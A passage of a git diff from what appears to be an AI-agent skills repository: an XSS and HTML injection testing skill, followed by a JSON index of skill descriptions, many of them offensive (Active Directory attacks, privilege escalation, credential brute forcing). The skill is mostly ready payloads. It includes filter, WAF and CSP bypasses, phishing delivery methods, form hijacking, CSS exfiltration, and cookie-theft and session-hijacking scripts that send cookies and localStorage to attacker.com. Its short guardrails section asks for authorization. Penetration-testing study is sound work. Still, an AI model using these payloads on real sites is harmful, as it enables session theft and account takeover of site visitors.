||||
# Fragment-based (for DOM XSS)
|
||||
https://target.com/page#<script>alert(1)</script>
|
||||
```
|
||||
|
||||
#### Delivery Methods
|
||||
Techniques for delivering reflected XSS to victims:
|
||||
|
||||
```
|
||||
1. Phishing emails with crafted links
|
||||
2. Social media message distribution
|
||||
3. URL shorteners to obscure payload
|
||||
4. QR codes encoding malicious URLs
|
||||
5. Redirect chains through trusted domains
|
||||
```
|
||||
|
||||
### Phase 4: DOM-Based XSS Exploitation
|
||||
|
||||
#### Identify Vulnerable Sinks
|
||||
Locate JavaScript functions that process user input:
|
||||
|
||||
```javascript
|
||||
// Dangerous sinks
|
||||
document.write()
|
||||
document.writeln()
|
||||
element.innerHTML
|
||||
element.outerHTML
|
||||
element.insertAdjacentHTML()
|
||||
eval()
|
||||
setTimeout()
|
||||
setInterval()
|
||||
Function()
|
||||
location.href
|
||||
location.assign()
|
||||
location.replace()
|
||||
```
|
||||
|
||||
#### Identify Sources
|
||||
Locate where user-controlled data enters the application:
|
||||
|
||||
```javascript
|
||||
// User-controllable sources
|
||||
location.hash
|
||||
location.search
|
||||
location.href
|
||||
document.URL
|
||||
document.referrer
|
||||
window.name
|
||||
postMessage data
|
||||
localStorage/sessionStorage
|
||||
```
|
||||
|
||||
#### DOM XSS Payloads
|
||||
|
||||
```javascript
|
||||
// Hash-based injection
|
||||
https://target.com/page#<img src=x onerror=alert(1)>
|
||||
|
||||
// URL parameter injection (processed client-side)
|
||||
https://target.com/page?default=<script>alert(1)</script>
|
||||
|
||||
// PostMessage exploitation
|
||||
// On attacker page:
|
||||
<iframe src="https://target.com/vulnerable"></iframe>
|
||||
<script>
|
||||
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
|
||||
</script>
|
||||
```
|
||||
|
||||
### Phase 5: HTML Injection Techniques
|
||||
|
||||
#### Reflected HTML Injection
|
||||
Modify page appearance without JavaScript:
|
||||
|
||||
```html
|
||||
<!-- Content injection -->
|
||||
<h1>SITE HACKED</h1>
|
||||
|
||||
<!-- Form hijacking -->
|
||||
<form action="http://attacker.com/capture">
|
||||
<input name="credentials" placeholder="Enter password">
|
||||
<button>Submit</button>
|
||||
</form>
|
||||
|
||||
<!-- CSS injection for data exfiltration -->
|
||||
<style>
|
||||
input[value^="a"]{background:url(http://attacker.com/a)}
|
||||
input[value^="b"]{background:url(http://attacker.com/b)}
|
||||
</style>
|
||||
|
||||
<!-- iframe injection -->
|
||||
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
|
||||
```
|
||||
|
||||
#### Stored HTML Injection
|
||||
Persistent content manipulation:
|
||||
|
||||
```html
|
||||
<!-- Marquee disruption -->
|
||||
<marquee>Important Security Notice: Your account is compromised!</marquee>
|
||||
|
||||
<!-- Style override -->
|
||||
<style>body{background:red !important;}</style>
|
||||
|
||||
<!-- Hidden content with CSS -->
|
||||
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
|
||||
Fake login form or misleading content here
|
||||
</div>
|
||||
```
|
||||
|
||||
### Phase 6: Filter Bypass Techniques
|
||||
|
||||
#### Tag and Attribute Variations
|
||||
|
||||
```html
|
||||
<!-- Case variation -->
|
||||
<ScRiPt>alert(1)</sCrIpT>
|
||||
<IMG SRC=x ONERROR=alert(1)>
|
||||
|
||||
<!-- Alternative tags -->
|
||||
<svg/onload=alert(1)>
|
||||
<body/onload=alert(1)>
|
||||
<marquee/onstart=alert(1)>
|
||||
<details/open/ontoggle=alert(1)>
|
||||
<video><source onerror=alert(1)>
|
||||
<audio src=x onerror=alert(1)>
|
||||
|
||||
<!-- Malformed tags -->
|
||||
<img src=x onerror=alert(1)//
|
||||
<img """><script>alert(1)</script>">
|
||||
```
|
||||
|
||||
#### Encoding Bypass
|
||||
|
||||
```html
|
||||
<!-- HTML entity encoding -->
|
||||
<img src=x onerror=alert(1)>
|
||||
|
||||
<!-- Hex encoding -->
|
||||
<img src=x onerror=alert(1)>
|
||||
|
||||
<!-- Unicode encoding -->
|
||||
<script>\u0061lert(1)</script>
|
||||
|
||||
<!-- Mixed encoding -->
|
||||
<img src=x onerror=\u0061\u006cert(1)>
|
||||
```
|
||||
|
||||
#### JavaScript Obfuscation
|
||||
|
||||
```javascript
|
||||
// String concatenation
|
||||
<script>eval('al'+'ert(1)')</script>
|
||||
|
||||
// Template literals
|
||||
<script>alert`1`</script>
|
||||
|
||||
// Constructor execution
|
||||
<script>[].constructor.constructor('alert(1)')()</script>
|
||||
|
||||
// Base64 encoding
|
||||
<script>eval(atob('YWxlcnQoMSk='))</script>
|
||||
|
||||
// Without parentheses
|
||||
<script>alert`1`</script>
|
||||
<script>throw/a]a]/.source+onerror=alert</script>
|
||||
```
|
||||
|
||||
#### Whitespace and Comment Bypass
|
||||
|
||||
```html
|
||||
<!-- Tab/newline insertion -->
|
||||
<img src=x onerror
|
||||
=alert(1)>
|
||||
|
||||
<!-- JavaScript comments -->
|
||||
<script>/**/alert(1)/**/</script>
|
||||
|
||||
<!-- HTML comments in attributes -->
|
||||
<img src=x onerror="alert(1)"<!--comment-->
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### XSS Detection Checklist
|
||||
```
|
||||
1. Insert <script>alert(1)</script> → Check execution
|
||||
2. Insert <img src=x onerror=alert(1)> → Check event handler
|
||||
3. Insert "><script>alert(1)</script> → Test attribute escape
|
||||
4. Insert javascript:alert(1) → Test href/src attributes
|
||||
5. Check URL hash handling → DOM XSS potential
|
||||
```
|
||||
|
||||
### Common XSS Payloads
|
||||
|
||||
| Context | Payload |
|
||||
|---------|---------|
|
||||
| HTML body | `<script>alert(1)</script>` |
|
||||
| HTML attribute | `"><script>alert(1)</script>` |
|
||||
| JavaScript string | `';alert(1)//` |
|
||||
| JavaScript template | `${alert(1)}` |
|
||||
| URL attribute | `javascript:alert(1)` |
|
||||
| CSS context | `</style><script>alert(1)</script>` |
|
||||
| SVG context | `<svg onload=alert(1)>` |
|
||||
|
||||
### Cookie Theft Payload
|
||||
```javascript
|
||||
<script>
|
||||
new Image().src='http://attacker.com/c='+btoa(document.cookie);
|
||||
</script>
|
||||
```
|
||||
|
||||
### Session Hijacking Template
|
||||
```javascript
|
||||
<script>
|
||||
fetch('https://attacker.com/log',{
|
||||
method:'POST',
|
||||
mode:'no-cors',
|
||||
body:JSON.stringify({
|
||||
cookies:document.cookie,
|
||||
localStorage:JSON.stringify(localStorage),
|
||||
url:location.href
|
||||
})
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Never inject payloads that could damage production systems
|
||||
- Limit cookie/session capture to demonstration purposes only
|
||||
- Avoid payloads that could spread to unintended users (worm behavior)
|
||||
- Do not exfiltrate real user data beyond scope requirements
|
||||
|
||||
### Technical Limitations
|
||||
- Content Security Policy (CSP) may block inline scripts
|
||||
- HttpOnly cookies prevent JavaScript access
|
||||
- SameSite cookie attributes limit cross-origin attacks
|
||||
- Modern frameworks often auto-escape outputs
|
||||
|
||||
### Legal and Ethical Requirements
|
||||
- Written authorization required before testing
|
||||
- Report critical XSS vulnerabilities immediately
|
||||
- Handle captured credentials per data protection agreements
|
||||
- Do not use discovered vulnerabilities for unauthorized access
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Stored XSS in Comment Section
|
||||
|
||||
**Scenario**: Blog comment feature vulnerable to stored XSS
|
||||
|
||||
**Detection**:
|
||||
```
|
||||
POST /api/comments
|
||||
Content-Type: application/json
|
||||
|
||||
{"body": "<script>alert('XSS')</script>", "postId": 123}
|
||||
```
|
||||
|
||||
**Observation**: Comment renders and script executes for all viewers
|
||||
|
||||
**Exploitation Payload**:
|
||||
```html
|
||||
<script>
|
||||
var i = new Image();
|
||||
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
|
||||
</script>
|
||||
```
|
||||
|
||||
**Result**: Every user viewing the comment has their session cookie sent to attacker's server.
|
||||
|
||||
### Example 2: Reflected XSS via Search Parameter
|
||||
|
||||
**Scenario**: Search results page reflects query without encoding
|
||||
|
||||
**Vulnerable URL**:
|
||||
```
|
||||
https://shop.example.com/search?q=test
|
||||
```
|
||||
|
||||
**Detection Test**:
|
||||
```
|
||||
https://shop.example.com/search?q=<script>alert(document.domain)</script>
|
||||
```
|
||||
|
||||
**Crafted Attack URL**:
|
||||
```
|
||||
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
|
||||
```
|
||||
|
||||
**Delivery**: URL sent via phishing email to target user.
|
||||
|
||||
### Example 3: DOM-Based XSS via Hash Fragment
|
||||
|
||||
**Scenario**: JavaScript reads URL hash and inserts into DOM
|
||||
|
||||
**Vulnerable Code**:
|
||||
```javascript
|
||||
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
|
||||
```
|
||||
|
||||
**Attack URL**:
|
||||
```
|
||||
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
|
||||
```
|
||||
|
||||
**Result**: Script executes entirely client-side; payload never touches server.
|
||||
|
||||
### Example 4: CSP Bypass via JSONP Endpoint
|
||||
|
||||
**Scenario**: Site has CSP but allows trusted CDN
|
||||
|
||||
**CSP Header**:
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
|
||||
```
|
||||
|
||||
**Bypass**: Find JSONP endpoint on trusted domain:
|
||||
```html
|
||||
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
|
||||
```
|
||||
|
||||
**Result**: CSP bypassed using allowed script source.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
|
||||
| Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |
|
||||
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
|
||||
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
|
||||
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
|
||||
@@ -1,52 +1,274 @@
|
||||
[
|
||||
{
|
||||
"id": "api-fuzzing-bug-bounty",
|
||||
"path": "skills/api-fuzzing-bug-bounty",
|
||||
"name": "API Fuzzing for Bug Bounty",
|
||||
"description": "This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques."
|
||||
},
|
||||
{
|
||||
"id": "aws-penetration-testing",
|
||||
"path": "skills/.disabled/aws-penetration-testing",
|
||||
"name": "AWS Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
|
||||
},
|
||||
{
|
||||
"id": "aws-penetration-testing",
|
||||
"path": "skills/aws-penetration-testing",
|
||||
"name": "AWS Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
|
||||
},
|
||||
{
|
||||
"id": "active-directory-attacks",
|
||||
"path": "skills/active-directory-attacks",
|
||||
"name": "Active Directory Attacks",
|
||||
"description": "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing."
|
||||
},
|
||||
{
|
||||
"id": "broken-authentication",
|
||||
"path": "skills/broken-authentication",
|
||||
"name": "Broken Authentication Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications."
|
||||
},
|
||||
{
|
||||
"id": "burp-suite-testing",
|
||||
"path": "skills/burp-suite-testing",
|
||||
"name": "Burp Suite Web Application Testing",
|
||||
"description": "This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing."
|
||||
},
|
||||
{
|
||||
"id": "claude-code-guide",
|
||||
"path": "skills/claude-code-guide",
|
||||
"name": "Claude Code Guide",
|
||||
"description": "Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies \"Thinking\" keywords, debugging techniques, and best practices for interacting with the agent."
|
||||
},
|
||||
{
|
||||
"id": "cloud-penetration-testing",
|
||||
"path": "skills/cloud-penetration-testing",
|
||||
"name": "Cloud Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms."
|
||||
},
|
||||
{
|
||||
"id": "xss-html-injection",
|
||||
"path": "skills/xss-html-injection",
|
||||
"name": "Cross-Site Scripting and HTML Injection Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications."
|
||||
},
|
||||
{
|
||||
"id": "ethical-hacking-methodology",
|
||||
"path": "skills/.disabled/ethical-hacking-methodology",
|
||||
"name": "Ethical Hacking Methodology",
|
||||
"description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
|
||||
},
|
||||
{
|
||||
"id": "ethical-hacking-methodology",
|
||||
"path": "skills/ethical-hacking-methodology",
|
||||
"name": "Ethical Hacking Methodology",
|
||||
"description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
|
||||
},
|
||||
{
|
||||
"id": "file-path-traversal",
|
||||
"path": "skills/file-path-traversal",
|
||||
"name": "File Path Traversal Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies."
|
||||
},
|
||||
{
|
||||
"id": "html-injection-testing",
|
||||
"path": "skills/html-injection-testing",
|
||||
"name": "HTML Injection Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies."
|
||||
},
|
||||
{
|
||||
"id": "idor-testing",
|
||||
"path": "skills/idor-testing",
|
||||
"name": "IDOR Vulnerability Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for insecure direct object references,\" \"find IDOR vulnerabilities,\" \"exploit broken access control,\" \"enumerate user IDs or object references,\" or \"bypass authorization to access other users' data.\" It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications."
|
||||
},
|
||||
{
|
||||
"id": "linux-privilege-escalation",
|
||||
"path": "skills/linux-privilege-escalation",
|
||||
"name": "Linux Privilege Escalation",
|
||||
"description": "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems."
|
||||
},
|
||||
{
|
||||
"id": "linux-shell-scripting",
|
||||
"path": "skills/.disabled/linux-shell-scripting",
|
||||
"name": "Linux Production Shell Scripts",
|
||||
"description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
|
||||
},
|
||||
{
|
||||
"id": "linux-shell-scripting",
|
||||
"path": "skills/linux-shell-scripting",
|
||||
"name": "Linux Production Shell Scripts",
|
||||
"description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
|
||||
},
|
||||
{
|
||||
"id": "metasploit-framework",
|
||||
"path": "skills/metasploit-framework",
|
||||
"name": "Metasploit Framework",
|
||||
"description": "This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments."
|
||||
},
|
||||
{
|
||||
"id": "network-101",
|
||||
"path": "skills/network-101",
|
||||
"name": "Network 101",
|
||||
"description": "This skill should be used when the user asks to \"set up a web server\", \"configure HTTP or HTTPS\", \"perform SNMP enumeration\", \"configure SMB shares\", \"test network services\", or needs guidance on configuring and testing network services for penetration testing labs."
|
||||
},
|
||||
{
|
||||
"id": "pentest-checklist",
|
||||
"path": "skills/.disabled/pentest-checklist",
|
||||
"name": "Pentest Checklist",
|
||||
"description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
|
||||
},
|
||||
{
|
||||
"id": "pentest-checklist",
|
||||
"path": "skills/pentest-checklist",
|
||||
"name": "Pentest Checklist",
|
||||
"description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
|
||||
},
|
||||
{
|
||||
"id": "pentest-commands",
|
||||
"path": "skills/pentest-commands",
|
||||
"name": "Pentest Commands",
|
||||
"description": "This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references."
|
||||
},
|
||||
{
|
||||
"id": "privilege-escalation-methods",
|
||||
"path": "skills/privilege-escalation-methods",
|
||||
"name": "Privilege Escalation Methods",
|
||||
"description": "This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems."
|
||||
},
|
||||
{
|
||||
"id": "red-team-tools",
|
||||
"path": "skills/red-team-tools",
|
||||
"name": "Red Team Tools and Methodology",
|
||||
"description": "This skill should be used when the user asks to \"follow red team methodology\", \"perform bug bounty hunting\", \"automate reconnaissance\", \"hunt for XSS vulnerabilities\", \"enumerate subdomains\", or needs security researcher techniques and tool configurations from top bug bounty hunters."
|
||||
},
|
||||
{
|
||||
"id": "smtp-penetration-testing",
|
||||
"path": "skills/smtp-penetration-testing",
|
||||
"name": "SMTP Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security."
|
||||
},
|
||||
{
|
||||
"id": "sql-injection-testing",
|
||||
"path": "skills/sql-injection-testing",
|
||||
"name": "SQL Injection Testing",
|
||||
"description": "This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems."
|
||||
},
|
||||
{
|
||||
"id": "sqlmap-database-pentesting",
|
||||
"path": "skills/sqlmap-database-pentesting",
|
||||
"name": "SQLMap Database Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities."
|
||||
},
|
||||
{
|
||||
"id": "ssh-penetration-testing",
|
||||
"path": "skills/ssh-penetration-testing",
|
||||
"name": "SSH Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques."
|
||||
},
|
||||
{
|
||||
"id": "scanning-tools",
|
||||
"path": "skills/scanning-tools",
|
||||
"name": "Security Scanning Tools",
|
||||
"description": "This skill should be used when the user asks to \"perform vulnerability scanning\", \"scan networks for open ports\", \"assess web application security\", \"scan wireless networks\", \"detect malware\", \"check cloud security\", or \"evaluate system compliance\". It provides comprehensive guidance on security scanning tools and methodologies."
|
||||
},
|
||||
{
|
||||
"id": "shodan-reconnaissance",
|
||||
"path": "skills/shodan-reconnaissance",
|
||||
"name": "Shodan Reconnaissance and Pentesting",
|
||||
"description": "This skill should be used when the user asks to \"search for exposed devices on the internet,\" \"perform Shodan reconnaissance,\" \"find vulnerable services using Shodan,\" \"scan IP ranges with Shodan,\" or \"discover IoT devices and open ports.\" It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance."
|
||||
},
|
||||
{
|
||||
"id": "top-web-vulnerabilities",
|
||||
"path": "skills/.disabled/top-web-vulnerabilities",
|
||||
"name": "Top 100 Web Vulnerabilities Reference",
|
||||
"description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
|
||||
},
|
||||
{
|
||||
"id": "top-web-vulnerabilities",
|
||||
"path": "skills/top-web-vulnerabilities",
|
||||
"name": "Top 100 Web Vulnerabilities Reference",
|
||||
"description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
|
||||
},
|
||||
{
|
||||
"id": "windows-privilege-escalation",
|
||||
"path": "skills/windows-privilege-escalation",
|
||||
"name": "Windows Privilege Escalation",
|
||||
"description": "This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments."
|
||||
},
|
||||
{
|
||||
"id": "wireshark-analysis",
|
||||
"path": "skills/wireshark-analysis",
|
||||
"name": "Wireshark Network Traffic Analysis",
|
||||
"description": "This skill should be used when the user asks to \"analyze network traffic with Wireshark\", \"capture packets for troubleshooting\", \"filter PCAP files\", \"follow TCP/UDP streams\", \"detect network anomalies\", \"investigate suspicious traffic\", or \"perform protocol analysis\". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark."
|
||||
},
|
||||
{
|
||||
"id": "wordpress-penetration-testing",
|
||||
"path": "skills/wordpress-penetration-testing",
|
||||
"name": "WordPress Penetration Testing",
|
||||
"description": "This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies."
|
||||
},
|
||||
{
|
||||
"id": "address-github-comments",
|
||||
"path": "skills/address-github-comments",
|
||||
"name": "address-github-comments",
|
||||
"description": "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
|
||||
},
|
||||
{
|
||||
"id": "agent-manager-skill",
|
||||
"path": "skills/agent-manager-skill",
|
||||
"name": "agent-manager-skill",
|
||||
"description": "Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling."
|
||||
},
|
||||
{
|
||||
"id": "algorithmic-art",
|
||||
"path": "skills/.disabled/algorithmic-art",
|
||||
"name": "algorithmic-art",
|
||||
"description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
|
||||
},
|
||||
{
|
||||
"id": "algorithmic-art",
|
||||
"path": "skills/algorithmic-art",
|
||||
"name": "algorithmic-art",
|
||||
"description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
|
||||
},
|
||||
{
|
||||
"id": "app-store-optimization",
|
||||
"path": "skills/.disabled/app-store-optimization",
|
||||
"name": "app-store-optimization",
|
||||
"description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
|
||||
},
|
||||
{
|
||||
"id": "app-store-optimization",
|
||||
"path": "skills/app-store-optimization",
|
||||
"name": "app-store-optimization",
|
||||
"description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
|
||||
},
|
||||
{
|
||||
"id": "autonomous-agent-patterns",
|
||||
"path": "skills/autonomous-agent-patterns",
|
||||
"name": "autonomous-agent-patterns",
|
||||
"description": "\"Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants.\""
|
||||
},
|
||||
{
|
||||
"id": "backend-dev-guidelines",
|
||||
"path": "skills/.disabled/backend-dev-guidelines",
|
||||
"name": "backend-dev-guidelines",
|
||||
"description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
|
||||
},
|
||||
{
|
||||
"id": "backend-dev-guidelines",
|
||||
"path": "skills/backend-dev-guidelines",
|
||||
"name": "backend-dev-guidelines",
|
||||
"description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
|
||||
},
|
||||
{
|
||||
"id": "brainstorming",
|
||||
"path": "skills/.disabled/brainstorming",
|
||||
"name": "brainstorming",
|
||||
"description": "\"You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.\""
|
||||
},
|
||||
{
|
||||
"id": "brainstorming",
|
||||
"path": "skills/brainstorming",
|
||||
@@ -65,30 +287,66 @@
|
||||
"name": "brand-guidelines",
|
||||
"description": "Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply."
|
||||
},
|
||||
{
|
||||
"id": "bun-development",
|
||||
"path": "skills/bun-development",
|
||||
"name": "bun-development",
|
||||
"description": "\"Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun.\""
|
||||
},
|
||||
{
|
||||
"id": "canvas-design",
|
||||
"path": "skills/.disabled/canvas-design",
|
||||
"name": "canvas-design",
|
||||
"description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
|
||||
},
|
||||
{
|
||||
"id": "canvas-design",
|
||||
"path": "skills/canvas-design",
|
||||
"name": "canvas-design",
|
||||
"description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
|
||||
},
|
||||
{
|
||||
"id": "concise-planning",
|
||||
"path": "skills/concise-planning",
|
||||
"name": "concise-planning",
|
||||
